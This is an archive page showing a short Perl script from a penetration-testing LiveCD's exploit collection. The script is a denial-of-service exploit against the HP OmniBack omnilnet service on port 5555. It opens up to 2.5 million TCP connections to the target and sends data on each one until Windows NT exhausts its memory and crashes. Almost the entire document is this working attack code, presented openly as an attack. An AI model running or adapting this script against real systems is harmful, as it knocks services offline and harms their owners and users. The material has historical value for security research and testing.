home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / backup / omniback / omniback.pl < prev    next >
Perl Script  |  2005-02-12  |  882b  |  31 lines
  1. #!/usr/bin/perl
  2. #
  3. # Jon Hittner
  4. # Raise the memory size for omnilnet until Windows NT crashes
  5. # Test against NT4.0 SP5 , NT3.51 , Winframe 1.7 SP5b , Winframe 1.8
  6. # Probably needs to be run several times to crash the system depending
  7. # on the amount of memory in the system.
  8. # This code was written to demo a problem, and I take no respoablity on how
  9. # it's used
  10.  
  11. use strict; use Socket;
  12.  
  13. my($y,$h,$p,$in_addr,$proto,$addr);
  14.  
  15. $h = "$ARGV[0]"; $p = 5555 if (!$ARGV[1]);
  16. if (!$h) { print "A hostname must be provided. Ex: www.domain.com\n"; }
  17.  
  18. $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
  19. $proto = getprotobyname('tcp');
  20. print "TESTING: $h:$p\n";
  21. for ($y=1 ; $y<2500000 ; $y++) {
  22.     socket(S, AF_INET, SOCK_STREAM, $proto);
  23.     connect(S,$addr) or next;
  24.     select S;
  25.     $| = 1;
  26.     select STDOUT;
  27.     send S,"OMNIBACK HAS SOME BIG ISSUES",0;
  28.     }
  29. print "ATTACK COMPLETED!\n";
  30.  
  31.